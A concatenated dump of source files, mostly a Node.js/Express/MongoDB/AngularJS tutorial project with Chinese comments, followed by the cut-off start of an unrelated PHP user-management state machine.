//400:bad request //401:Unauthorized //403:Forbidden //500:server error res.status(200); //set(header, value):設置header參數的值 //get(header):返回所指定的header参数值 //set(headerObj):接收一个对象,它包含多个header:value属性 //location(path):把location标头设置为指定的path参数,该路径可以是url路径,例如/login;完整的url,如:http://server.net;相对路径,如:../users;或者一个浏览器行为,如back //type(type_string):根据type_string参数设置Content-Type标头。该参数可以是一个正常的内容类型,如application/json,部分类型,如png,或文件扩展名,如html //attachment([filepath]):把Content-Disposition标头设置为attachment,并且如果指定filepath,则Content-Type头是基于文件扩展名设置的 res.set({ 'Content-Type': 'text/html', 'Content-Length': response.length }); res.send(response); console.log('Response Finished? ' + res.finished); console.log('\nHeaders Sent: '); console.log(res.headerSent); }); app.get('/error', function (req, res) { res.status(400); res.send("This is a bad request."); });<file_sep>/c16mongoose/create.js var mongoose = require('mongoose'); var db = mongoose.connect('mongodb://localhost:10001/words'); var wordSchema = require('./wordSchema.js').wordSchema; var Words = mongoose.model('Words', wordSchema); // document对象的方法 // save:把以对document对象做出的更改保存到mongodb数据库,回调函数接受一个错误对象作为唯一参数 // update:更新mongodb数据库中的文档,update参数指定应用到该文档的update运算符,可使用的update运算符见14.2 // isNew:布尔值,为true表示一个还没有被存储在mongodb中的模型的新对象 // modifiedPaths():返回已被修改的对象中的路径的数组 //remove:删除mongodb数据库中的document对象,回调函数接受一个错误作为唯一参数 //toJSON():返回document对象的json字符串表示形式 //toObject():返回一个普通的js对象,它无document对象的额外的属性和方法 //toString():返回document对象的字符串表示形式 //validate():在文档上执行验证,回调函数只接收err参数 mongoose.connection.once('open', function() { var newWord1 = new Words({ word : 'gratifaction', first : 'g', last : 'n', size : 12, letters : [ 'g', 'r', 'a', 't', 'i', 'f', 'c', 'o', 'n' ], stats : { vowels : 5, consonants : 7 } }); console.log("Is Document New? " + newWord1.isNew); newWord1.save(function(err, doc) { console.log("\nSaved document: " + doc); }); var newWord2 = { word : 'googled', first : 'g', last : 'd', size : 7, letters : [ 'g', 'o', 'l', 'e', 'd' ], stats : { vowels : 3, consonants : 4 } }; var newWord3 = { word : 'selfie', first : 's', last : 'e', size : 6, letters : [ 's', 'e', 'l', 'f', 'i' ], stats : { vowels : 3, consonants : 3 } }; var newWord4 = { word : 'immigration', first : 'i', last : 'n', size : 11, letters : [ 'i', 'm', 'g', 'r', 'a', 't', 'o', 'n' ], stats : { vowels : 3, consonants : 3 }, charsets : [ { type : "consonants", chars : [ 'm', 'g', 'r', 'n' ] }, { type : "vowels", chars : [ 'a', 'o' ] } ] }; Words.create([ newWord2, newWord3, newWord4 ], function(err) { for (var i = 1; i < arguments.length; i++) { console.log("\nCreated document: " + arguments[i]); } mongoose.disconnect(); }); });<file_sep>/c13nodemongodb/save.js //插入,效率不如insert和update,但很方便 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/test'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("user", function(err, collection){ collection.findOne({"name" : "zhangsulei"}, function(err, item){ console.log("findOne document: " + item.password); item.password = "<PASSWORD>"; //document对象要么是一个全新的对象,要么是从集合中取回并修改的一个对象 collection.save(item, {w : 1}, function(err, results){ collection.findOne({"_id" : item._id}, function(err, item){ console.log("save after: " + item.password) }); }); }); }); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } }); function addObject(collection, object){ collection.insert(object, function(err, result){ if(!err){ console.log("inserted: " + result); } }) }<file_sep>/c6file/filestats.js //获取文件状态 var fs = require('fs'); fs.stat("./file/write.txt", function(err, state){ console.log(state.isFile());//是否是一个文件 console.log(state.isDirectory());//是否是一个目录 console.log(state.isSocket());//是否是一个套接字 console.log(state.ctime);//创建时间 console.log(state.mtime);//最后修改时间 console.log(state.atime);//上次访问时间 })<file_sep>/c27comments/controllers/comments_controller.js //评论控制器 var mongoose = require('mongoose'), CommentThread = mongoose.model('CommentThread'), Reply = mongoose.model('Reply'); //根据photoId获取评论 exports.getComments = function(req, res) { CommentThread.find({ photoId : req.query.photoId }).exec(function(err, comments) { if (err) { res.json(500, { msg : 'CommentThread Not Found.' }); } else { res.json(comments); } }); }; //添加评论 exports.addComment = function(req, res) { //创建一个评论对象 var newComment = CommentThread(req.body.newComment); //模拟添加回复人 newComment.username = generateRandomUsername(); newComment.photoId = req.body.photoId; //添加评论 addCommentThread(req, res, newComment); }; function addCommentThread(req, res, newComment) { newComment.save(function(err, doc) { if(err){ console.log(err); }else{ console.log("\nSaved document: " + doc); } }); } //添加评论回复 exports.updateComment = function(req, res) { //创建一个评论回复对象 var newComment = Reply(req.body.newComment); //模拟添加回复人 newComment.username = generateRandomUsername(); //添加评论 updateCommentThread(res, newComment, req.body.commentId); }; function updateCommentThread(res, newComment, commentId) { CommentThread.update({ _id : commentId }, { $push : { replies : newComment } }).exec(function(err, savedComment) { if (err) { res.json(404, { msg : 'Failed to update CommentThread.' }); } else { res.json({ msg : "success" }); } }); } //随机生成一个用户名用于测试 function generateRandomUsername() { // typically the username would come from an authenticated session var users = [ 'DaNae', 'Brad', 'Brendan', 'Caleb', 'Aedan', 'Taeg' ]; return users[Math.floor((Math.random() * 5))]; }<file_sep>/c15query/count.js //查找 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/words'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("word_stats", findItems); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } }); function displayWords(msg, count, pretty){ console.log(msg + count); } function findItems(err, words){ words.count({first : {$in : ["a", "b", "c"]}}, function(err, count){ displayWords("以a, b or c开头的单词:", count); }); words.count({size : {$gt : 12}}, function(err, count){ displayWords("长度大于12的单词:", count); }); //mod第一个参数是除数,第二个参数是余数 words.count({size : {$mod : [2, 0]}}, function(err, count){ displayWords("长度是偶数的单词:", count); }); words.count({letters : {$size : 3}}, function(err, count){ displayWords("由3个不重复的字母组成的单词:", count); }); words.count({$and : [{first : {$in : ["a", "e", "i", "o", "u"]}}, {last : {$in : ["a", "e", "i", "o", "u"]}}]}, function(err, count){ displayWords("以'a', 'e', 'i', 'o', 'u'开头,并且以'a', 'e', 'i', 'o', 'u'结尾的单词:", count); }); words.count({"stats.vowels" : {$gt : 3}}, function(err, count){ displayWords("包含4个及以上元音的单词:", count); }); words.count({letters : {$all : ["a", "e", "i", "o", "u"]}}, function(err, count){ displayWords("包含5个元音的单词:", count); }); words.count({otherChars : {$exists : true}}, function(err, count){ displayWords("包含非单词的单词:", count); }); words.count({charsets : {$elemMatch : {$and : [{type : "other"}, {chars : {$size : 1}}]}}}, function(err, count){ displayWords("包含1个非单词的单词:", count); }); }<file_sep>/c5dataio/buffer.js //buffer必须在创建时指定大小,一旦创建后,就不能扩展大小,但可以把数据写入到缓冲区的任何位置 var buf256 = new Buffer(256); //fill(value, offset, end)将value写到缓冲区中从offset索引处开始,并在end索引处结束的每一个字节 buf256.fill("0"); //write(string, offset, length, encoding)使用encoding的编码从缓冲区内的offset索引开始,写入string中length数量的字节 buf256.write("add some text"); console.log(buf256.toString());//add some text buf256.write("more text", 9, 8); console.log(buf256.toString());//add some more tex //buffer[offset] = value将索引offset处的数据替换为指定的value buf256[18] = 43; console.log(buf256.toString());//add some more tex0+ var bufUtf8 = new Buffer("我们三个人3", "utf8"); console.log(bufUtf8.toString()); //toString(encoding, start, end)返回一个字符串,它包含了从缓冲区start到end的字符,由encoding指定的编码解码 console.log(bufUtf8.toString("utf8", 6, 9)); //buffer[offset]返回缓冲区在指定offset字节的八进制值 console.log(bufUtf8[4]); console.log(bufUtf8.readInt8(15).toString(16)); //确定缓冲区长度 console.log(Buffer.byteLength("UTF8 text \u00b6")); console.log(Buffer("UTF8 text \u00b6").length);<file_sep>/c13nodemongodb/collection.js //集合操作 var MongoClient = require('mongodb').MongoClient; // Connection URL //mongodb://username:password@host:port/database var url = 'mongodb://localhost:10001/test'; // Use connect method to connect to the Server var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ console.log("connected via client object"); console.log("auth via client object"); //collectionList是collection对象的数组 db.collections(function(err, collectionList){ console.log(collectionList); //创建集合 db.createCollection("newColl", function(err, collection){ console.log("----------------------"); console.log("collection created ok"); db.stats(function(err, stats){ console.log("----------------------"); console.log(stats); db.dropCollection("newColl", function(err, collection){ console.log("----------------------"); console.log("collection droped ok"); db.close(); }) }) }) }) }else{ console.log("error"); } });<file_sep>/c15query/group.js //分组 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/words'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("word_stats", groupItems); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } }); //group(keys, query, initial, reduce, finalize, command, options, callback) //keys:分组依据 //query:查询条件 //initial:指定汇总数据时,执行分组使用的初始group对象,要为每组不同的键都创建一个初始group对象,最常见的用途是一个用于跟踪与键匹配的项数的计数器,如{"count":0} //reduce:有两个参数:obj,prev。这个函数在每个与查询匹配的文档上执行,obj参数是当前文档,prev是由initial参数创建的对象,然后,你可以使用obj对象,以新值更新prev对象, //如count或sum,如理要递增count值,可以使用{prev.count++;} //finalize:该函数接受一个参数obj,他是从initial参数得到的最终obj,其内容由reduce函数作为prev更新,在把数组在响应中返回之前,对每个不同的键生成的对象都调用此函数 //command:布尔值,默认为true,表示该命令的运行使用内部group命令 function groupItems(err, words){ words.group(['first', 'last'], {first : 'o', last : {$in : ['a','e','i','o','u']}}, {"count" : 0, "words" : ""}, function (obj, prev) { prev.count++; prev.words += obj.word + ","; }, {}, true, function(err, results){ console.log("以字母'O'开头,元音字母结尾的单词个数: "); console.log(results); }); words.group(['first'], {size : {$gt:13}}, {"count" : 0, "totalVowels" : 0, "words" : ""}, function (obj, prev) { prev.count++; prev.totalVowels += obj.stats.vowels; prev.words += obj.word + ","; }, {}, true, function(err, results){ console.log("长度大于13个字母的单词: "); console.log(results); }); words.group(['first'], {}, {"count":0, "vowels":0, "consonants":0}, function (obj, prev) { prev.count++; prev.vowels += obj.stats.vowels; prev.consonants += obj.stats.consonants; }, function(obj){ obj.total = obj.vowels + obj.consonants; }, true, function(err, results){ console.log("按第一个字母分组: "); console.log(results); }); }<file_sep>/c4node/emit.js var util = require("util"); var events = require("events"); var emitter = new events.EventEmitter(); emitter.on("simpleEvent", function(data){ console.log("收到到数据:" + data); }); emitter.emit("simpleEvent", "sendData"); //自定义 function MyStream() { //events.EventEmitter.call(this); } util.inherits(MyStream, events.EventEmitter);//使这个类继承EventEmitter //这时可以直接从对象实例中发出事件 var stream = new MyStream(); //on同addListener,将回调函数附加到对象的监听器中,每当eventName事件被触发,回调函数就被放置在事件队列中执行 var callback = function(data) {//注册监听器,监听名为"data"事件 console.log('Received data: "' + data + '"'); }; stream.on("someEvent", callback); //只有eventName事件第一次被触发时,回调函数才被放置在事件队列中执行 stream.once("someEvent", function(data) {//注册监听器,监听名为"data"事件 console.log('只接收一次Received data: "' + data + '"'); }); stream.emit("someEvent", "发送的数据"); stream.emit("someEvent", "发送的数据2"); console.log("连接到someEvent事件的监听器函数的数组:" + stream.listeners("someEvent")); //如果多于n的监听器都加入到EventEmitter对象,就触发报警,默认值是5 //setMaxListeners(n) //将callback函数从EventEmitter对象的eventName事件中删除 stream.removeListener("someEvent", callback); stream.emit("someEvent", "发送的数据");<file_sep>/c17mongodbhigh/repl3.js var mongoose = require('mongoose'); var userSchema = require('./user.js').userSchema; //提供了在模型中并随后在mongodb集合中访问、更新、移除对象的功能,和collection大致一样 var Users = mongoose.model('Users', userSchema); // mongoose配置 var opts = { db : { native_parser : true }, server : { poolSize : 5, auto_reconnect : true, socketOptions : { keepAlive : 1 } }, replset : { rs_name : 'blort' } } // mongoose连接 mongoose.connect("mongodb://localhost:10002,localhost:10003,localhost:10004/test", opts); mongoose.connection.on('error', console.error.bind(console, 'mongoose connection error: ')); mongoose.connection.on('open', function() { var query = Users.find().limit(5); query.exec(function(err, docs){ for (var i in docs){ console.log(docs[i].name); } }); });<file_sep>/c15query/sort.js //排序 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/words'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("word_stats", findItems); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } }); function displayWords(msg, cursor, pretty){ cursor.toArray(function(err, itemArr){ console.log("\n" + msg); var wordList = []; for(var i=0; i<itemArr.length; i++){ wordList.push(itemArr[i].word); } console.log(JSON.stringify(wordList, null, pretty)); }); } function findItems(err, words){ words.find({last:'w'}, function(err, cursor){ displayWords("Words ending in w: ", cursor); }); words.find({last:'w'}, {sort:{word:1}}, function(err, cursor){ displayWords("Words ending in w sorted ascending: ", cursor); }); words.find({last:'w'}, {sort:{word:-1}}, function(err, cursor){ displayWords("Words ending in w sorted, descending: ", cursor); }); words.find({first:'b'}, {sort:[['size',-1],['last',1]]}, function(err, cursor){ displayWords("B words sorted by size then by last letter: ", cursor); }); words.find({first:'b'}, {sort:[['last',1],['size',-1]]}, function(err, cursor){ displayWords("B words sorted by last letter then by size: ", cursor); }); }<file_sep>/c5dataio/streamtransform.js //双向流,可以修改Writable流和Readable流之间的数据,当你需要修改从一个系统到另一个系统的数据时,非常有用 //Transform不需要实现_read和_write,你需要实现_transform和_flush, //_transform接受来自write请求的数据,对其修改,并推出修改后的数据 var stream = require("stream"); var util = require("util"); function JsonStream(opt) { stream.Transform.call(this, opt); } util.inherits(JsonStream, stream.Transform); JsonStream.prototype._transform = function(data, encoding, callback) { var object = data ? JSON.parse(data.toString()) : ""; this.emit("object", object); object.handle = true; this.push(JSON.stringify(object)); callback(); }; JsonStream.prototype._flush = function(callback) { callback(); }; var tc = new JsonStream(); tc.on('object', function(object) { console.log("Name: %s", object.name); console.log("Color: %s", object.color); }); tc.on('data', function(data) { console.log("Data: %s", data.toString()); }); tc.write('{"name":"Carolinus", "color":"Green"}'); tc.write('{"name":"Solarinus", "color":"Blue"}'); tc.write('{"name":"Ommadon", "color":"Red"}');<file_sep>/c6file/filemkdir.js //创建目录 var fs = require('fs'); fs.mkdir("./file/file", function(err){ fs.mkdir("./file/file/fileA", function(err){ }); }); fs.rmdir("./file/file/fileA", function(err){ console.log(err) fs.rmdir("./file/file", function(err){ console.log(err) }); });<file_sep>/c6file/filerename.js //重命名目录、文件 var fs = require('fs'); fs.rename("./file/file/fileA", "./file/file/fileB", function(err){ console.log(err) }); fs.rename("./file/writeFile.txt", "./file/writeFile2.txt", function(err){ console.log(err) });<file_sep>/c13nodemongodb/remove.js //删除 var MongoClient = require('mongodb').MongoClient; var url = 'mongodb://localhost:10001/test'; var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true}, replSet : {}, mongos : {} } MongoClient.connect(url, options, function(err, db) { if(db){ db.collection("user", function(err, collection){ //results是删除的文档条目数 collection.remove({"name" : "zhaosi1"}, function(err, results){ console.log("remove: " + results + " documents. "); }); //sort删除时的排序字段,由于按salary倒序排列,所以只删除工资最高的z1 collection.findAndRemove({"name" : "z1"}, [["salary", -1]], function(err, results){ console.log("remove: " + results + " documents. "); }); }); setTimeout(function(){ db.close(); }, 3000); }else{ console.log("error"); } });<file_sep>/c7http/post.js var http = require("http"); http.createServer(function(req, res){ var jsonData = ""; //从请求流中读取数据 req.on("data", function(chunk){ jsonData += chunk; }); req.on("end", function(){ var dataObj = JSON.parse(jsonData); var resObj = { message : "Hello " + dataObj.name, question : "Are you a good " + dataObj.occupation }; res.writeHead(200); res.end(JSON.stringify(resObj)); }); }).listen(1337, '127.0.0.1'); console.log('Server running at http://127.0.0.1:1337'); var opt = { host: '127.0.0.1', port: 1337, path: '/', method: 'POST' }; var req = http.request(opt, function(res) { var resData = ""; res.on('data', function(chunk) { resData += chunk; }); res.on('end', function(chunk) { var dataObj = JSON.parse(resData); console.log("Message: " + dataObj.message); console.log("Message: " + dataObj.question); }); }); req.write('{"name":"Bilbo", "occupation":"Burglar"}'); req.end();<file_sep>/c19middleware/static.js //static可以让你直接从磁盘对客户端提供静态文件服务 //maxAge:浏览器缓存maxAge,已毫秒为单位,默认为0 //hidden:为true,表示启用隐藏文件传输功能,默认为false //redirect:为true,表示若请求路径是一个目录,则该请求将被重定向到有一个尾随/的路径,默认为true //index:根路径的默认文件名,默认为index.html var express = require('express'); var app = express(); app.use('/', express.static('./static', {maxAge: 60*60*1000})); app.listen(8000); //http://localhost:8000/index.html<file_sep>/c22angularscope/static/js/scope_events.js //$scope.$emit:要从作用域发出一个事件,使用emit,该方法沿着父作用域层次向上发送一个事件,任何已注册该事件的祖先作用域都会收到通知 //$scope.$emit(name, [args, ...]) //$scope.$broadcast:把一个事件广播给下方的子作用域层次,任何已注册该事件的后代作用域都会收到通知 //$scope.$on:处理发送或广播的事件 //$scope.$on(name, listener),listener是个函数,接收事件event作为第一个参数,并把emit和broadcast传递的参数作为后续参数,event对象具有以下属性 //targetScope:$emit()或$broadcast()被调用时所在的作用域 //currentScope:当前正在处理该事件的作用域 //name:事件的名称 //stopPropagation():停止在作用域层次结构中向上或向下传播事件的函数 //preventDefault():防止在浏览器的事件中的默认行为,而只执行自己的自定义代码的函数 //defaultPrevented:布尔值,如果event.preventDefault()被调用,则为true angular.module('myApp', []). controller('Characters', function($scope) { $scope.names = ['Frodo', 'Aragorn', 'Legolas', 'Gimli']; $scope.currentName = $scope.names[0]; $scope.changeName = function() { //this:使用this关键字来访问name属性,name属性实际上来自于被创建的一个动态子作用域,因为下面的指令被用来生成清单22.7中的多个元素,使用this,可以从作用域内的changeName()方法访问子作用域 //ng-repeat="name in names" ng-click="changeName()" $scope.currentName = this.name; $scope.$broadcast('CharacterChanged', this.name); }; $scope.$on('CharacterDeleted', function(event, removeName){ var i = $scope.names.indexOf(removeName); $scope.names.splice(i, 1); $scope.currentName = $scope.names[0]; $scope.$broadcast('CharacterChanged', $scope.currentName); }); }). controller('Character', function($scope) { $scope.info = {'Frodo':{weapon:'Sting', race:'Hobbit'}, 'Aragorn':{weapon:'Sword', race:'Man'}, 'Legolas':{weapon:'Bow', race:'Elf'}, 'Gimli':{weapon:'Axe', race:'Dwarf'}}; $scope.currentInfo = $scope.info['Frodo']; $scope.$on('CharacterChanged', function(event, newCharacter){ $scope.currentInfo = $scope.info[newCharacter]; }); $scope.deleteChar = function() { delete $scope.info[$scope.currentName]; $scope.$emit('CharacterDeleted', $scope.currentName); }; });<file_sep>/c5dataio/streamwrite.js //写入流 //实现自定义Writeable,首先要继承Writable var stream = require("stream"); var util = require("util"); var fs = require('fs'); util.inherits(Write, stream.Writable); function Write(opt){ stream.Writable.call(this, opt); this._data = new Array(); } Write.prototype._write = function(data, encoding, callback){ this._data.push(data.toString("utf8")); console.log("Adding: " + data); callback(); } var w = new Write(); for(var i=1; i<=5; i++){ w.write("Item" + i, "utf8"); } //end与write相同,除了它把Writable对象置于不再接收数据的状态,并发送finish事件外 w.end("ItemLast"); console.log(w._data); //当.end()在Writable对象上被调用,所有数据都被刷新,并且不会有更多的数据将被接受时发出此事件 w.on('finish', function() { fs.writeFileSync('./file/output.txt', w._data); });<file_sep>/c16mongoose/connect.js var mongoose = require("mongoose"); var opts = { db : { native_parser : true }, server : { poolSize : 5, auto_reconnect : true, socketOptions : { //防止长期运行的应用程序出现数据库连接错误 keepAlive : 1 } } } mongoose.connect("mongodb://localhost:10001/words", opts); mongoose.connection.on("open", function() { console.log("mongodb connection"); mongoose.disconnect(); });<file_sep>/c4node/setinterval.js //时间间隔定时器用于按定期的延迟时间间隔执行工作,当延迟时间结束时,回调函数被执行,然后再次重新调度为该延迟时间,对于必须定期进行的工作,你应该使用 //可以通过clearInterval(id)取消该回调 var x = 0, y = 0, z = 0; function display(){ console.log("X=%d; Y=%d, Z=%d", x, y, z); } function uopdateX(){ x += 1; } function uopdateY(){ y += 1; } function uopdateZ(){ z += 1; display(); } setInterval(uopdateX, 500); setInterval(uopdateY, 1000); setInterval(uopdateZ, 2000);<file_sep>/c16mongoose/wordSchema.js var mongoose = require('mongoose'); var Schema = mongoose.Schema; var wordSchema = new Schema({ //在word字段上加索引:index : 1 //word字段是唯一的:unique : true //word字段不能为空:required : true word : { type : String, index : 1, required : true, unique : true }, first : { type : String, index : 1 }, last : String, size : Number, letters : [ String ], stats : { vowels : Number, consonants : Number }, charsets : [ { type : {type : String}, chars : [ String ] } ] }, { //要为word_stats集合创建模式 collection : 'word_stats' }); //指定一个函数属性来把方法添加到schema对象上,该函数只是一个分配到document对象的标准js函数 //document对象可以用this访问 wordSchema.methods.startsWith = function(letter) { return this.first === letter; }; exports.wordSchema = wordSchema;<file_sep>/c17mongodbhigh/repl2.js //操作副本集 var Db = require('mongodb').Db, Server = require('mongodb').Server, ReplSet = require('mongodb').ReplSet; // 集群Server地址 var serverAddr = { 10002 : '127.0.0.1', // 节点1 10003 : '127.0.0.1', // 节点2 10004 : '127.0.0.1' // 节点3 } // 集群Sever对象的集合 var servers = []; for ( var i in serverAddr) { servers.push(new Server(serverAddr[i], parseInt(i))); } var options = { db : {w : 1, native_parser : false}, server : {poolSize : 5, socketOptions : {connectTimeoutMS : 500}, auto_reconnect : true} } var replStat = new ReplSet(servers, options); var db = new Db('test', replStat); // mongodb操作 db.open(function(err, db) { if(err){ console.log(err); }else{ db.collection("user", function(err, collection){ addObject(collection, {"name" : "chenli", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "wangwu", "password" : "<PASSWORD>"}); addObject(collection, {"name" : "zhaosi1", "password" : "<PASSWORD>"}); }); setTimeout(function(){ db.close(); }, 1000); } }); function addObject(collection, object){ collection.insert(object, function(err, result){ if(!err){ console.log("inserted: " + result); }else{ console.log(err); } }) } //上面配置了几个节点9001、9002、9003,我们无需关注哪个是主节点、备节点、冲裁节点,驱动会自动判断出一个健康的主节点来给node,我们只需专心写数据库的操作逻辑就可以了。 //但这里存在一个问题,Replica Set在切换节点的时候,会出现一个断档期,我们知道node是异步/O的,在这个断档期,如果node在执行大量操作的话,弱小的栈内存会溢出,报:RangeError: Maximum call stack size exceeded错误,这个错误是系统级错误,会导致app崩掉,即使捕获异常或等db切换完成,程序依然会挂死在哪里。 //目前还没找到解决的方法,正在研究mongo驱动的api,试图通过一个体现切换过程状态监听的事件解决,如果该事件触发,则停止db操作,待切换完成后再恢复,这样应该可以解决问题。
963338e3150e6c7c14a119221ff97309d74b72fa
[ "JavaScript" ]
58
JavaScript
yhb2010/demo_MEAN
d61312d926b109c7f2dbf525d11b76730ef4674a
15d7506563466208ece2b6a6308e493f65789f2e
refs/heads/master
<repo_name>songvi/rerd<file_sep>/src/Exceptions/PasswordNotMatchPolicyException.php <?php namespace IDM\Exceptions; class PasswordNotMatchPolicyException extends IDMException{} <file_sep>/src/IDMInterface.php <?php namespace IDM; interface IDMInsterface { /** * @param string $uuid * @return */ public function isExisted(string $uuid); /** * @param string $uid * @param string $authSource * @return */ public function isExisted2(string $uid, string $authSource); /** * @param string $uuid * @return */ public function getStandardClaims(string $uuid); } <file_sep>/src/Exceptions/IdentityFormatIncorrectException.php <?php namespace IDM\Exceptions; class IdentityFormatIncorrectException extends IDMException{} <file_sep>/src/Exceptions/TooMuchRequestException.php <?php namespace IDM\Exceptions; class TooMuchRequestException extends IDMException{} <file_sep>/src/UserFSM.php <?php namespace IDM; use Finite\Event\TransitionEvent; use Finite\StatefulInterface; use Finite\StateMachine\StateMachine; use Finite\State\State; use Finite\State\StateInterface; use Finite\Transition\Transition; use Symfony\Component\EventDispatcher\Event; class UserFSM { const USER_STATE_INIT = 'start'; const USER_WAIT_FOR_CONFIRMATION = 'waitforconfirm'; const USER_STATE_NORMAL = 'normal'; const USER_STATE_LOCK = 'locked'; const USER_STATE_CLOSED = 'closed'; const TRANSITION_REGISTER = 'register'; const TRANSITION_RESEND = 'resend'; const TRANSITION_CONFIRM = 'confirm'; const TRANSITION_CONFIRM_FORGOTPW = 'confirmforgotpw'; const TRANSITION_RESETPASSWORD = 'resetpw'; const TRANSITION_FORGOTPW = 'forgotpw'; const TRANSITION_RESEND_FORGOTPW = 'resendforgotpw'; const TRANSITION_MODIFY = 'modify'; const TRANSITION_LOGIN = 'login'; const TRANSITION_ADMINLOCK = 'adminlock'; const TRANSITION_LOCK = 'lock'; const TRANSITION_UNLOCK = 'unlock'; const TRANSITION_CLOSE = 'close'; protected $dispatcher; protected $sm; protected $userStorage; /** * @param \Finite\StatefulInterface $user * @param \IDM\IIDMStorage $userStorage * @param $dispatcher */ public function __construct(StatefulInterface $user, IIDMStorage $userStorage, $dispatcher){ $this->dispatcher = $dispatcher; $this->userStorage = $userStorage; $this->init($user, $dispatcher); } public function userExisted(string $uuid){ } public function userExisted2(string $uid, string $authSource){ return false; } public function getStandardClaim(){ $user = $this->sm->getObject(); if($user instanceof UserEntity){ return $user->getStandardClaims(); } } public function getExtraClaim(){ $user = $this->sm->getObject(); if($user instanceof UserEntity){ return $user->getExtraClaims(); } } /** * */ public function updateClaims(StandardClaims $claims){ } /** * */ public function updateExtraClaims(string $extraClaims){ } /** * */ public function createUser(string $uid, string $password, StandardClaims $standardClaimsn, array $extraClaims = []){ } /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////// protected function init(StatefulInterface $UserEntity, $dispatcher) { $sm = new StateMachine(); $sm->setDispatcher($dispatcher); // Define states $initState = new State(UserFSM::USER_STATE_INIT, StateInterface::TYPE_INITIAL); $initState->setProperties(array( 'actions' => 'register' )); $sm->addState($initState); $sm->addState(UserFSM::USER_WAIT_FOR_CONFIRMATION); $normalState = new State(UserFSM::USER_STATE_NORMAL, StateInterface::TYPE_NORMAL); $normalState->setProperties(array( 'sub', 'name', 'given_name', 'family_name', 'middle_name', 'nickname', 'preferred_username', 'profile', 'email', 'email_verified', 'gender', 'birthdate', 'zoneinfo', 'locale', 'phone_number', 'address', 'preferred_theme', 'preferred_lang', )); $sm->addState($normalState); $sm->addState(new State(UserFSM::USER_STATE_LOCK, StateInterface::TYPE_NORMAL)); $sm->addState(new State(UserFSM::USER_STATE_CLOSED, StateInterface::TYPE_FINAL)); // Define transitions $sm->addTransition(new Transition(UserFSM::TRANSITION_REGISTER, UserFSM::USER_STATE_INIT, UserFSM::USER_WAIT_FOR_CONFIRMATION, array($this, 'gRegister') )); // user has a limit times to do the confirmation request $sm->addTransition(new Transition(UserFSM::TRANSITION_RESEND, UserFSM::USER_WAIT_FOR_CONFIRMATION, UserFSM::USER_WAIT_FOR_CONFIRMATION, array($this, 'gReSend') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_CONFIRM, UserFSM::USER_WAIT_FOR_CONFIRMATION, UserFSM::USER_STATE_NORMAL, array($this, 'gConfirm') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_CONFIRM_FORGOTPW, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_NORMAL, array($this, 'gConfirmForgotPw') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_LOGIN, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_NORMAL, array($this, 'gLogin') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_MODIFY, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_NORMAL, array($this, 'gModify') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_RESETPASSWORD, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_NORMAL, array($this, 'gResetPW') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_FORGOTPW, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_NORMAL, array($this, 'gForgotPW') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_RESEND_FORGOTPW, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_NORMAL, array($this, 'gReSendForgotPW') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_LOCK, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_LOCK, array($this, 'gLock') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_ADMINLOCK, UserFSM::USER_STATE_NORMAL, UserFSM::USER_STATE_LOCK, array($this, 'gAdminLock') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_UNLOCK, UserFSM::USER_STATE_LOCK, UserFSM::USER_STATE_NORMAL, array($this, 'gUnlock') )); $sm->addTransition(new Transition(UserFSM::TRANSITION_CLOSE, UserFSM::USER_STATE_LOCK, UserFSM::USER_STATE_CLOSED, array($this, 'gClose') )); // Initialize $sm->setObject($UserEntity); if ($UserEntity instanceof UserEntity) { $sm->setDispatcher($UserEntity->getDispatcher()); } $sm->initialize(); /** * Add listeners */ $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_REGISTER, array($this, 'aRegister')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_RESEND, array($this, 'aReSend')); $sm->getDispatcher()->addListener('finite.post_transition.' . UserFSM::TRANSITION_CONFIRM, array($this, 'aConfirm')); $sm->getDispatcher()->addListener('finite.post_transition.' . 